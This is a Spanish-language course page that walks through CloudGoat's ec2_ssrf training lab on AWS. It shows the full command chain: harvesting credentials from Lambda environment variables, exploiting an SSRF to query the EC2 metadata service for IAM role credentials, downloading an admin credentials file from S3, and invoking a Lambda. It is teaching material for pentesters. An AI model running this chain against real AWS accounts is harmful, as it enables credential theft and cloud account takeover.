Ethical Hacking en AWS - [CPNA]
YoutubeTwitterLinkedIn
  • La Biblia del Hacking en AWS
    • ADVERTENCIA
    • AWS Community Builder
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende con nuestro curso
    • Aprende con Spartan-CPNA
  • Introduccion al cloud computing
    • ¿Que es Cloud Computing?
    • Amazon Web Services
    • La historia detras de la transicion de On-Premises a la nube
      • Caracteristicas de On-Premises y Transición a la Nube
    • Importancia del cloud computing
    • ¿Vale la pena aprender cloud?
    • Modelos de informática en la nube
    • Infraestructura y Modelos de Despliegue en la Nube
    • Quiero aprender mas sobre la nube de AWS
    • Proveedores Principales de Cloud Computing
      • Amazon Web Services (AWS)
      • Microsoft Azure (Az)
      • Google Cloud Platform (GCP)
      • Comparación entre Proveedores
  • Componentes Clave y Tecnologías en la Nube
    • Introduccion a los componentes principales de la nube
    • Clasificación de los componentes de AWS
    • Virtualización: Conceptos Básicos y su Papel en la Nube
    • Introduccion a la Computación sin Servidor (Serverless)
      • Diferencias entre Monolítica y Serverless
  • Seguridad y Cumplimiento en la Nube
    • Seguridad en la nube
    • Modelo de responsabilidad compartida
    • Mejores Prácticas de Seguridad en la Nube
    • Cumplimiento y Normativas
    • CIS Benchmarks
  • Fundamentos Ofensivos
    • Introduccion al Curso Profesional de Pentesting para Juniors - [CPPJ]
    • ¿Por qué los atacantes van tras la nube?
    • ¿Qué es un Red Team?
      • Assume breach
    • ¿Qué es un Pentesting?
      • Diferencias entre un pentest tradicional y un pentest cloud
    • Instalacion de Kali Linux en local
    • Crea tu cuenta de AWS
    • MITRE
    • Tecnicas de OSINT en AWS
      • Herramientas y Estrategias de OSINT
  • Introduccion a AWS
    • Accediendo a los servicios de AWS
    • ¿Que es AWS CLI?
      • Estructura de comandos en el CLI de AWS
    • El whoami de AWS
    • Almacenamiento de credenciales en archivo plano
      • Prefijo de ID con IAM
    • Incidentes de seguridad relacionados a AWS
    • Limitaciones en un pentest dentro de AWS
  • Introduccion a IAM
    • Tu primer Red Team contra AWS
    • ¿Que es Identity and Access Management o IAM?
    • Politica de IAM
      • La importancia de las politicas de IAM en la seguridad de AWS
      • Politicas predefinidas
    • Usuario de IAM
    • Grupo de IAM
    • Rol de IAM
      • Casos de uso
    • ARN
  • Tecnicas de Enumeracion en IAM
    • ¿Que permisos debo solicitar para realizar las pruebas?
    • Enumeracion Manual con AWSCLI
      • Enumerando usuarios
      • Enumerando grupos
      • Enumerando roles
      • Enumerando politicas
    • Enumeracion automatizada por medio de fuerza bruta
      • Enumerate-IAM.py
      • CLIAM
      • IAMFinder
    • Analisis de vulnerabilidades con herramientas automatizadas
      • Utilizando Prowler
      • Utilizando Cloudsplaining
  • Escalacion de privilegios en IAM
    • ¿Que es la escalacion de privilegios basada en IAM?
    • Metodos para la escalacion de privilegios
    • Permisos de IAM en otros usuarios
      • CreateAccessKey
      • CreateLoginProfile
      • UpdateLoginProfile
      • AddUserToGroup
    • Permisos sobre politicas
      • CreatePolicyVersion
      • SetDefaultPolicyVersion
      • AttachUserPolicy
      • AttachGroupPolicy
      • AttachRolePolicy
      • PutUserPolicy
      • PutGroupPolicy
      • PutRolePolicy
    • La actualización de una AssumeRolePolicy
      • UpdateAssumeRolePolicy
    • Permiso IAM:PassRole*
  • Introduccion a S3
    • ¿Que es Simple Storage Service o S3?
    • Politica de buckets
    • El riesgo de un bucket configurado como publico
    • Enumeracion manual con AWSCLI
    • Identificando vulnerabilidades en S3
    • Backdorizando un Bucket S3 utilizando la politica del Bucket
    • Exfiltracion de datos utilizando la replicacion en S3
  • Introduccion a EC2
    • ¿Que es Elastic Compute Cloud o EC2?
    • Networking en EC2
    • Fundamentos ofensivos para el servicio de IMDSv1
      • ¿Porque utilizar IMDSv2?
    • Ejecuccion de comandos en EC2 utilizando User Data
    • Recuperacion de la contraseña de un EC2
    • AWS Security Token
  • Introduccion a VPC
    • ¿Que es Virtual Private Cloud o VPC?
    • Grupos de seguridad VS lista de control de acceso
    • Pivoting en AWS VPC
    • Realizando Pivoting sobre un EC2
  • Tecnicas ofensivas contra EC2
    • Enumeracion manual con AWSCLI
    • Vectores de escalacion de privilegios
      • CreateEC2WithExistingIP
      • PassExistingRoleToNewGlueDevEndpoint
      • Resolviendo iam_privesc_by_rollback de CloudGoat
    • Abusando del servicio de metadatos IMDSv1 por medio de un SSRF
    • Caso de estudio - Capital One
    • Despliegue de Kali Linux en AWS para operaciones ofensivas
      • Bypass Rate Limit con IP Rotator de BurpSuite
    • Exfiltracion de datos utilizando un Snapshots de EBS
    • Exfiltracion de datos utilizando un Snapshots de una AMI
  • Introduccion a Lambda
    • ¿Que es un Lambda?
    • Desarrollo Serverless con Lambda
    • Arquitectura Monolítica vs Arquitectura Serverless
    • Damn Vulnerable Serverless Application
  • Tecnicas ofensivas contra Lambda
    • Enumeracion manual con AWSCLI
    • Remote Code Execution en Lambda
    • Vectores de escalacion de privilegios
      • PassExistingRoleToNewLambdaThenInvoke
      • PassRoleToNewLambdaThenTriggerWithNewDynamo
      • EditExistingLambdaFunctionWithRole
    • Resolviendo lambda_privesc de CloudGoat
    • Secuestro de Credenciales IAM y Datos de Eventos en AWS Lambda
  • Introduccion a API Gateway
    • ¿Que es API Gateway?
    • Vulnerabilidades Potenciales en API Gateway
    • Enumeracion manual con AWSCLI
    • Divulgacion de informacion sensible por medio de un mal manejo de errores
  • Introduccion a Cognito
    • ¿Que es Cognito?
    • Enumeracion manual con AWSCLI
    • Fundamentos de Lambda Autorizadora
    • Falta de Verificación de la Firma del JWT
    • Vulnerable Cognito
    • Tecnicas y tacticas ofensivas en Cognito
      • cognito-identity:SetIdentityPoolRoles + iam:PassRole
      • cognito-identity:update-identity-pool
      • cognito-idp:AdminAddUserToGroup
      • [cognito-idp:CreateGroup + cognito-idp:UpdateGroup], iam:PassRole
      • cognito-idp:AdminConfirmSignUp
      • cognito-idp:AdminCreateUser
      • cognito-idp:AdminEnableUser
      • cognito-idp:AdminSetUserPassword
      • AdminSetUserSettings | SetUserMFAPreference | SetUserPoolMfaConfig | UpdateUserPool
      • cognito-idp:AdminUpdateUserAttributes
      • cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
      • cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
      • cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
  • Introduccion a Lightsail
    • ¿Que es Lightsail?
    • Vulnerabilidades Potenciales en Lightsail
    • Wordpress Vulnerable
  • Introduccion a DynamoDB
    • ¿Que es DynamoDB?
    • Enumeracion manual con AWSCLI
    • Vulnerabilidades Potenciales en DynamoDB
  • Introduccion a RDS
    • ¿Que es RDS?
    • Vulnerabilidades Potenciales en RDS
    • Cambiando contraseña para un RDS
    • Remote Code Execution sobre un EC2 para comprometer una BD alojada en RDS
    • Exfiltracion de un RDS por medio de un snapshot
  • Introduccion a ECS - EKS - ECR
    • Introducción a los Contenedores y la Orquestación
    • ¿Que es ECS, EKS, ECR?
    • Vulnerabilidades Potenciales en ECS
    • Cluster Hijacking
    • Cloud Container Attack Tool - (CCAT)
    • Enumeracion manual con AWSCLI
  • Tecnicas ofensivas contra arquitectos de AWS
    • AWS SSO Phishing
    • Phishing sobre Login de AWS con Bypass de MFA
    • Gaining AWS Console Access via API Keys - aws_consoler
    • Leaked Credentials
    • Using Modern Malware
  • Introduccion a Secrets Manager
    • ¿Que es AWS Secrets Manager?
    • Enumeración manual de aws secrets manager
  • Movimiento lateral Cloud to Cloud
    • Fundamentos del movimiento lateral en Cloud
    • Técnica 1: Creación de Snapshot de EBS
    • Técnica 2: EC2 Instance Connect
    • Técnica 3: Serial Console Access
    • Technique 4: AWS: Systems Manager
  • Pivoting en AWS Organizations
    • Las cuentas de AWS como límite de seguridad
    • AWS Organizations
    • Abusando de las relaciones de confianza al crear un cuenta (OrganizationAccountAccessRole)
    • Trusted Access and Delegated Administration
    • Realizando un pivoting habilitando IAM Access Analyzer por medio de Trusted Access
  • Material Extra
    • Laboratorios desplegables para practicar hacking en AWS
    • Explotacion de CVEs en la nube - (Log4Shell)
    • PassExistingRoleToCloudFormation
    • PassExistingRoleToNewDataPipeline
    • Utilizando Cartography
    • Utilizando PACU
  • Fundamentos del Blue Team en AWS
    • Introducción a Blue Team en AWS
    • Amazon Cloudtrail
      • Apagando esta defensa
    • Amazon CloudWatch
    • Amazon GuardDuty
      • Apagando esta defensa
    • Amazon Detective
    • Amazon Security Hub
      • ¿Como se habilita?
    • Amazon Inspector
    • Amazon WAF
  • Muchas gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página

¿Te fue útil?

  1. Tecnicas ofensivas contra EC2

Abusando del servicio de metadatos IMDSv1 por medio de un SSRF

AnteriorResolviendo iam_privesc_by_rollback de CloudGoatSiguienteCaso de estudio - Capital One

Última actualización hace 1 año

¿Te fue útil?

¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el . No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.

En este escenario comenzaremos con el usuario SOLUS que tiene bajos privilegios y luego de una enumeración sobre la infraestructura, lograremos identificar un aplicativo web que está alojado en un EC2 vulnerable a ataques SSRF. Luego de aprovechar esta vulnerabilidad, lograremos comprometer unas credenciales de acceso por medio del servicio de metadatos.

Primero, debemos desplegar el escenario con el siguiente comando:

./cloudgoat.py create ec2_ssrf

Luego de que finalice el despliegue del laboratorio, nos retornara lo siguiente:

En la evidencia previa, podemos apreciar las credenciales de acceso para el usuario llamado Solus.

A partir de este momento, estaremos trabajando con el usuario solus-ec2_ssrf_cgidysznrzllxi.

Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile solus

El token se especificará dentro del archivo plano de credenciales.

aws sts get-caller-identity --profile solus

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name solus-ec2_ssrf_cgidysznrzllxi --profile solus

Vamos a listar las políticas para el usuario que será auditado:

aws iam list-attached-user-policies --user-name solus-ec2_ssrf_cgidysznrzllxi

Obteniendo información relevante para nuestra auditoria, es utilizando el ARN de la política del usuario auditado:

aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/cg-solus-policy-ec2_ssrf_cgidysznrzllxi --version-id v1

Luego de identificar los permisos para el usuario Solus, ya podemos iniciar la auditoria de seguridad.

Vamos a enfocarnos en realizar una enumeración básica sobre el servicio de lambda.

Comenzamos con listando las funciones de lambda disponibles con el siguiente comando:

aws lambda list-functions --profile solus

Hemos identificado en las variables de entorno, unas credenciales de acceso aparentemente para un EC2.

Enlace de referencia:

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile lambda
aws sts get-caller-identity --profile lambda

En este punto, podríamos lanzar un enumerate-iam para identificar los permisos para este nuevo usuario desconocido.

Teniendo en cuenta el nombre del usuario (wrex-ec2_ssrf_cgidysznrzllxi), podríamos decir que probablemente tenga privilegios en el servicio de EC2.

Así que vamos a ejecutar el siguiente comando para listar las instancias:

aws ec2 describe-instances --profile lambda

Logramos identificar una instancia corriendo.

Vamos a realizar un escaneo de puertos y servicios sobre el PublicDnsName de la instancia previamente identificada.

nmap -sV ec2-3-87-227-98.compute-1.amazonaws.com

En la evidencia previa, podemos apreciar el puerto 80 con el servicio HTTP.

Por lo anterior, vamos a intentar realizar una petición GET sobre el portal web.

curl http://ec2-3-87-227-98.compute-1.amazonaws.com

En este punto podríamos afirmar que el aplicativo cuenta con una vulnerabilidad de criticidad baja ya que está divulgando información sensible debido a una mala gestión de errores.

En el error podemos apreciar que se está utilizando tecnología de NodeJS y también se evidencia que es necesario especificar un parámetro llamado URL.

Por lo anterior, vamos a concatenarle a la URL el parámetro solicitado:

curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=

Luego de lo anterior, podemos apreciar que el aplicativo retorna un HTML con un mensaje totalmente diferente.

¿Qué es SSRF?

La falsificación de solicitudes del lado del servidor (también conocida como SSRF) es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes a una ubicación no deseada.

Enlace de referencia:

Vamos a validar si este sitio es vulnerable a ataques de SSRF por medio del parámetro URL:

curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=www.google.com

En la evidencia previa, podemos apreciar que el código HTML del sitio www.google.com fue añadido a nuestro portal web que está alojado en la instancia y esto quiere decir que efectivamente existe la vulnerabilidad SSRF sobre la EC2.

Ahora vamos a aprovecharnos de esta vulnerabilidad y vamos a realizar una petición sobre el servicio de metadatos de la instancia.

Los metadatos de instancia son datos sobre una instancia que se pueden utilizar para configurar o administrar la instancia en ejecución. Los metadatos de instancia se dividen en categorías, como, por ejemplo, nombre de host, eventos y grupos de seguridad.

Enlace de referencia:

El servicio de metadatos de una EC2 puede ser consumido por medio del siguiente enlace: http://169.254.169.254/latest/meta-data/

Cabe resaltar, que el servicio de metadatos solo puede ser accedido desde dentro de la instancia.

Teniendo en cuenta lo anterior, vamos a aprovecharnos de la vulnerabilidad SSRF para comunicarnos con el servicio de metadatos:

curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/

Teniendo en cuenta la evidencia previa, podemos afirmar que hemos explotado con éxito el SSRF contra el servicio de metadatos.

Ahora vamos a consumir el siguiente endpoint del servicio de metadatos encargado de retornar credenciales de acceso:

curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-ec2_ssrf_cgidysznrzllxi 

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile ec2

El token se especificará dentro del archivo plano de credenciales.

aws sts get-caller-identity --profile ec2

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando Enumerate-IAM.py

Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario.

Los permisos para este nuevo rol comprometido son:

Uno de los permisos para este nuevo rol comprometido es el control total sobre el servicio de S3.

Vamos a realizar una enumeración sobre los Buckets con el objetivo de identificar información sensible dentro de ellos:

aws s3 ls --profile ec2

Luego de listar el servicio de s3, podemos apreciar un Bucket.

Vamos a listar el contenido de dicho Bucket:

aws s3 ls s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi --profile ec2

Ahora hemos identificado un archivo de formato TXT.

Como tenemos control total sobre los Buckets, lo ideal sería descargar este archivo y visualizar su contenido.

aws s3 cp s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi/admin-user.txt ./ --profile ec2

Luego de descargar el archivo alojado en el Bucket, podemos visualizar que contiene otras credenciales.

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile end
aws sts get-caller-identity --profile end

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando Enumerate-IAM.py

Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario.

Los permisos para este nuevo usuario comprometido son:

Como podemos apreciar este usuario tiene la posibilidad de invocar funciones de lambda.

Por lo anterior, vamos a listar las funciones actuales de lambda:

aws lambda list-functions --profile end
aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidysznrzllxi ./out.txt --profile end

En la evidencia previa, podemos apreciar que este desafio a llegado a su fin y esto es debido al mensaje que nos ha retornado la invocación de la lambda.

CPNA - Curso Profesional de Pentesting Contra AWS
Ensure Lambda function's environment variables do not expose secretsBridegecrew
What is SSRF (Server-side request forgery)? Tutorial & Examples | Web Security AcademyWebSecAcademy
Logo
Metadatos de instancia y datos de usuario - Amazon Elastic Compute CloudAmazon Elastic Compute Cloud
Logo
Logo